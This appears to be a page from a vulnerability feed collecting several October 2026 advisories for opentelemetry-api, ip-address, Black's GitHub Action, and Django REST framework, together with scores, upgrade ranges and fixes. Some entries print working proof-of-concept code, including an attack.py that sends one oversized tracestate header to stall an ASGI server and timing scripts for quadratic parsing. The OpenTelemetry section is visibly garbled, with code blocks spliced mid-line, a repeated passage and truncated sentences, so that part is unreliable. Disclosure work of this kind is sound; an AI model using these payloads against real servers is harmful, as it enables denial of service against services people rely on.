OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api (Oct 22, 2026).
1. The header reaches the parser without any length check:

```python
# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # TraceState:
 pairs = {} # type: dict[str, str]
 for header in header_list:
 members: list[str] = re.split(_delimiter_pattern, header) # self._MAX_HEADER_LENGTH: # 7} characters {elapsed:6.2f} s growth when size doubles: {growth}")
 previous = elapsed
```
3. Run `python poc_tracestate.py`.
4. **What to observe:** the time grows by about **×4 every time the input size doubles** (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:
```
 10000 characters 0.06 s growth when size doubles: -
 20000 characters 0.26 s growth when size doubles: x4.0
 40000 characters 1.04 s growth when size doubles: x4.0
 80000 characters 4.13 s growth when size doubles: x4.0
```
Replace `" "` with `"\t"` to see ≈1.6× longer.
CVSS 5.3 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-xcq7-p3pf-p88h).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114603&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xcq7-p3pf-p88h: https://github.com/advisories/GHSA-xcq7-p3pf-p88h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114603&date=2026-10-25
## Summary
`TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.

## Affected component / version
- Package: `opentelemetry-api` (pip) — `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`).
- Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.
- Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.

## Details

1. The header reaches the parser without any length check:

```python
# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # TraceState:
 pairs = {} # type: dict[str, str]
 for header in header_list:
 members: list[str] = re.split(_delimiter_pattern, header) # self._MAX_HEADER_LENGTH: # 7} characters {elapsed:6.2f} s growth when size doubles: {growth}")
 previous = elapsed
```
3. Run `python poc_tracestate.py`.
4. **What to observe:** the time grows by about **×4 every time the input size doubles** (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:
```
 10000 characters 0.06 s growth when size doubles: -
 20000 characters 0.26 s growth when size doubles: x4.0
 40000 characters 1.04 s growth when size doubles: x4.0
 80000 characters 4.13 s growth when size doubles: x4.0
```
Replace `" "` with `"\t"` to see ≈1.6× longer.

### B. Show that one request stalls a real server
This uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).

1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]"`.
2. Save as `app.py`:
```python
from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware

async def app(scope, receive, send):
 await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]})
 await send({"type": "http.response.body", "body": b"ok"})

app = OpenTelemetryMiddleware(app)
```
3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools`
4. Save as `attack.py`:
```python
"""Send one oversized tracestate request and, while it is being handled,
measure how long an unrelated request to the same server has to wait."""
import socket
import sys
import threading
import time

HOST, PORT = "127.0.0.1", 8000
N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"

def get(path, extra=""):
 s = socket.create_connection((HOST, PORT), timeout=120)
 s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode())
 start, data = time.perf_counter(), b""
 while chunk := s.recv(65536):
 data += chunk
 return time.perf_counter() - start, data.split(b"\r\n")[0].decode()

result = {}
extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n"
attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra)))
print("idle /ping: %.3f s %s" % get("/ping"))
attacker.start()
time.sleep(0.5) # let the attack request reach the server first
print("/ping during the attack: %.3f s %s" % get("/ping"))
attacker.join()
print("attack request itself: %.3f s %s" % result["a"])
```
5. In a second terminal run `python attack.py 100000`.
6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:
```
idle /ping: 0.000 s HTTP/1.1 200 OK
/ping during the attack: 5.909 s HTTP/1.1 200 OK TraceState:
 for header in header_list:
- members: list[str] = re.split(_delimiter_pattern, header)
+ members: list[str] = [m.strip(" \t") for m in header.split(",")]
```
`_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.

## Credit

Discovered and reported by SecDim Security Research
secdim.com | @secdim | security@secdim.com

---

**FROM MAINTAINERS**

## Summary

`TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers.

Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.

## Impact

Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.

The practical impact depends on the HTTP ser

Affected package ranges reported by GitHub:
opentelemetry-api: <= 1.45.0
Action: GitHub lists first patched versions: opentelemetry-api: 1.45.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process
https://kevwire.com/record/CVE-2026-111997
ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process (Oct 22, 2026).
`new Address6()` and `Address6.isValid()` strip a zone identifier with the pattern `/%.*$/` before they apply the 45-character length limit. When the string holds many `%` characters followed by a line terminator, the pattern is retried from every `%` and each attempt scans to the line terminator before failing, so rejecting the string takes time proportional to the square of its length. 10,000 `%` characters and a newline take 41 ms, 40,000 take 632 ms and 100,000 take 3.9 s of synchronous work. The same strings without the newline are rejected in under a millisecond.

An application that validates an attacker-supplied string with these methods can be stalled by a single long request. The input is rejected with the correct `AddressError`; the cost of reaching that rejection is the defect.
CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-rxp7-6hxx-x8q5).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111997&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-rxp7-6hxx-x8q5: https://github.com/advisories/GHSA-rxp7-6hxx-x8q5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111997&date=2026-10-25
### Summary

`new Address6()` and `Address6.isValid()` strip a zone identifier with the pattern `/%.*$/` before they apply the 45-character length limit. When the string holds many `%` characters followed by a line terminator, the pattern is retried from every `%` and each attempt scans to the line terminator before failing, so rejecting the string takes time proportional to the square of its length. 10,000 `%` characters and a newline take 41 ms, 40,000 take 632 ms and 100,000 take 3.9 s of synchronous work. The same strings without the newline are rejected in under a millisecond.

An application that validates an attacker-supplied string with these methods can be stalled by a single long request. The input is rejected with the correct `AddressError`; the cost of reaching that rejection is the defect.

### Details

The constructor in `src/ipv6.ts` removes the CIDR suffix, then the zone, then checks the length of what is left:

```ts
const zone = constants6.RE_ZONE_STRING.exec(address);

if (zone) {
 this.zone = zone[0];

 address = address.replace(constants6.RE_ZONE_STRING, '');
}

const longest = this.groups * 5 + 5;

if (address.length > longest) {
 throw new AddressError(`IPv6 addresses are at most ${longest} characters.`);
}
```

`RE_ZONE_STRING` is `/%.*$/`. It has no anchor at its start, `.` does not match a line terminator (`\n`, `\r`, U+2028 or U+2029), and without the `m` flag `$` matches only at the end of the input. For `%` repeated N times and then `\n`, the engine starts a match at the first `%`, `.*` consumes the remaining `%` characters up to the newline, `$` fails there, and backtracking through every shorter `.*` fails too. The engine then starts again at the second `%`, and so on: N starts, each proportional to N. The length limit that follows rejects the string in constant time, after the scan has already run.

The line terminator need not be last. Any string in which many `%` characters precede a line terminator behaves the same way.

Every entry point that passes a caller's string to the `Address6` constructor is affected: `new Address6()`, `isValid()`, both arguments of `fromAddressAndMask()` and `fromAddressAndWildcardMask()`, and the prefix argument of `fromAddress4Nat64()` and `toAddress4Nat64()`. `fromWildcard()` rejects a `%` before it constructs anything, `fromURL()` admits only hex digits, colons and dots in a host, and `fromArpa()` checks the nibble grammar first, so those three are unaffected. `Address4` has no zone and is unaffected.

### Affected versions

` 64) throw new Error('not an IP address');
```

Affected package ranges reported by GitHub:
ip-address: <= 10.7.3
Action: GitHub lists first patched versions: ip-address: 10.7.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Black: GitHub Action installs unvalidated required-version from pyproject.toml
https://kevwire.com/record/CVE-2026-114134
Black: GitHub Action installs unvalidated required-version from pyproject.toml (Oct 22, 2026).
The GitHub Action bundled with Black can read the version from `tool.black.required-version` if `use_pyproject` is set to True. This version is not validated and therefore can be used to execute untrusted code in the context of a victim's repository.

This is similar to the previous CVE-2026-31900. The value in `tool.black.required-version` is accepted as the version to be installed by the action without validation.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-cg8m-r9f2-5wm2).
Sources:
GitHub-reviewed advisory GHSA-cg8m-r9f2-5wm2: https://github.com/advisories/GHSA-cg8m-r9f2-5wm2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
### Summary

The GitHub Action bundled with Black can read the version from `tool.black.required-version` if `use_pyproject` is set to True. This version is not validated and therefore can be used to execute untrusted code in the context of a victim's repository.

### Details

This is similar to the previous CVE-2026-31900. The value in `tool.black.required-version` is accepted as the version to be installed by the action without validation.

### Proof of concept

Reproduction requires a victim to use Black's GitHub Action with `use_pyproject: true`. The attacker would then issue a PR to the victim's repository with `pyproject.toml` edited so that Black points to a malicious repository.

### Impact

This is a remote code execution vulnerability impacting users using the GitHub Action bundled with psf/black and using the `use_pyproject: true` setting.

Affected package ranges reported by GitHub:
black: < 26.10.1
Action: GitHub lists first patched versions: black: 26.10.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Django REST framework: TokenProxy.delete() reports success and revokes nothing
https://kevwire.com/record/CVE-2026-114137
Django REST framework: TokenProxy.delete() reports success and revokes nothing (Oct 22, 2026).
Deleting an authentication token through `TokenProxy` silently deletes nothing. The call raises no
exception and reports success, the database row survives, and the token keeps authenticating. Any
application, admin integration or operational script that revokes credentials by calling `.delete()`
on a `TokenProxy` instance believes it has revoked a token that is still live.

`TokenProxy` overrides `pk` to return the user id (`rest_framework/authtoken/models.py:49-63`):
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114137).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114137&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xw6w-gcfp-cf8m: https://github.com/advisories/GHSA-xw6w-gcfp-cf8m
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114137: https://nvd.nist.gov/vuln/detail/CVE-2026-114137
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114137&date=2026-10-25
### Summary

Deleting an authentication token through `TokenProxy` silently deletes nothing. The call raises no
exception and reports success, the database row survives, and the token keeps authenticating. Any
application, admin integration or operational script that revokes credentials by calling `.delete()`
on a `TokenProxy` instance believes it has revoked a token that is still live.

### Details

`TokenProxy` overrides `pk` to return the user id (`rest_framework/authtoken/models.py:49-63`):

```python
@property
def pk(self):
 return self.user_id
```

The concrete `Token` model keys on `key`, not on an integer id. `Model.delete()` builds its delete
query from `pk`, so it emits:

```sql
DELETE FROM "authtoken_token" WHERE "authtoken_token"."key" IN ('1')
```

That matches a user id against the 40-character key column. Nothing matches, nothing raises, and the
call returns `(0, {'authtoken.TokenProxy': 0})`.

DRF already ships two workarounds for this same identity mismatch instead of a fix. In
`rest_framework/authtoken/admin.py`, `TokenAdmin.delete_model` re-fetches the concrete row:

```python
def delete_model(self, request, obj):
 Token.objects.get(key=obj.key).delete() # admin.py:30
```

and `TokenAdmin` sets `actions = None` with the comment "Actions not compatible with mapped IDs"
(`admin.py:50-53`). The shipped admin path is therefore safe, and every other caller of
`TokenProxy.delete()` is not. Nothing in the API signals the difference.

`TokenProxy` was added by `e2bd3b6a` (PR #7341, "Adjusted token admin to map to user ID"), first
released in 3.12.0.

A fix would drop the `pk` override, or give `TokenProxy` a `delete()` that operates on the concrete
row, or raise instead of silently reporting zero deletions.

### PoC

Save as `poc_tokenproxy_revocation.py` and run it.

```python
#!/usr/bin/env python
"""
django-rest-framework: TokenProxy.delete() reports success and revokes nothing.

 baseline token exists -> 200
 TRIGGER TokenProxy.objects.get(...).delete() -> no exception, row survives, still 200
 CONTROL Token.objects.get(key=...).delete() -> row gone, 401

The control is what makes the trigger meaningful: it proves the row was
deletable and the credential check live, so the 200 after the proxy delete is a
failed revocation and not a broken harness.

Requires: django, djangorestframework importable. No arguments.
 python poc_tokenproxy_revocation.py
Exit status 0 means the revocation failure reproduced.
"""
import sys

import django
from django.conf import settings

settings.configure(
 DEBUG=False,
 SECRET_KEY="poc",
 ALLOWED_HOSTS=["*"],
 ROOT_URLCONF=__name__,
 INSTALLED_APPS=[
 "django.contrib.contenttypes",
 "django.contrib.auth",
 "rest_framework",
 "rest_framework.authtoken",
 ],
 DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
 DEFAULT_AUTO_FIELD="django.db.models.AutoField",
 USE_TZ=True,
)
django.setup()

from django.contrib.auth import get_user_model # noqa: E402
from django.core.management import call_command # noqa: E402
from django.db import connection # noqa: E402
from django.test import Client # noqa: E402
from django.test.utils import CaptureQueriesContext # noqa: E402
from django.urls import path # noqa: E402

from rest_framework.authentication import TokenAuthentication # noqa: E402
from rest_framework.authtoken.models import Token, TokenProxy # noqa: E402
from rest_framework.permissions import IsAuthenticated # noqa: E402
from rest_framework.response import Response # noqa: E402
from rest_framework.views import APIView # noqa: E402

class Whoami(APIView):
 authentication_classes = [TokenAuthentication]
 permission_classes = [IsAuthenticated]

 def get(self, request):
 return Response({"user": request.user.get_username()})

urlpatterns = [path("", Whoami.as_view())]

def probe(client, key):
 response = client.get("/", headers={"authorization": "Token %s" % key})
 return response.status_code

def main():
 call_command("migrate", run_syncdb=True, verbosity=0)
 user = get_user_model().objects.create_user(username="revoke-user", password="pw")
 key = Token.objects.create(user=user).key
 client = Client()

 print("TokenProxy._meta.proxy =", TokenProxy._meta.proxy)
 print("Token._meta.pk.attname =", Token._meta.pk.attname)
 print("user.pk =", user.pk)
 print("token key =", key)

 print("\n--- baseline")
 print("rows =", Token.objects.count())
 baseline = probe(client, key)
 print("GET / with token ->", baseline)

 print("\n--- TRIGGER: delete through the proxy")
 proxy = TokenProxy.objects.get(user=user)
 print("proxy.pk =", proxy.pk, "(TokenProxy.pk property)")
 raised = None
 with CaptureQueriesContext(connection) as ctx:
 try:
 returned = proxy.delete()
 except Exception as exc: # noqa: BLE001
 raised, returned = exc, None
 for q in ctx.captured_queries:
 if "DELETE" in q["sql"]:
 print(" SQL:", q["sql"])
 print("raised =", repr(raised))
 print("returned =", returned)
 print("rows =", Token.objects.count())
 after_proxy = probe(client, key)
 print("GET / with token ->", after_proxy)

 print("\n--- CONTROL: delete the same row through the concrete model")
 with CaptureQueriesContext(connection) as ctx2:
 returned2 = Token.objects.get(key=key).delete()
 for q in ctx2.captured_queries:
 if "DELETE" in q["sql"]:
 print(" SQL:", q["sql"])
 print("returned =", returned2)
 print("rows =", Token.objects.count())
 after_real = probe(client, key)
 print("GET / with token ->", after_real)

 ok = baseline == 200 and raised is None and after_proxy == 200 and after_real == 401
 print(
 "\nrevocation failure reproduced:", ok,
 "(baseline 200, still 200 after proxy delete, 401 after real delete)",
 )
 return 0 if ok else 1

if __name__ == "__main__":
 sys.exit(main())
```

Observed output:

```
TokenProxy._meta.proxy = True
Token._meta.pk.attname = key
user.pk = 1
token key = 6a644878f252175d39205804c5a6faf16df67c10

--- baseline
rows = 1
GET / with token -> 200

--- TRIGGER: delete through the proxy
proxy.pk = 1 (TokenProxy.pk property)


Affected package ranges reported by GitHub:
djangorestframework: >= 3.12.0, < 3.18.2
Action: GitHub lists first patched versions: djangorestframework: 3.18.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation
https://kevwire.com/record/CVE-2026-114138
Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation (Oct 22, 2026).
DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.

get_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114138).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114138&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-33wh-fxxf-88vv: https://github.com/advisories/GHSA-33wh-fxxf-88vv
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114138: https://nvd.nist.gov/vuln/detail/CVE-2026-114138
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114138&date=2026-10-25
### Summary

DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.

### Details

#### What happens

get_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.

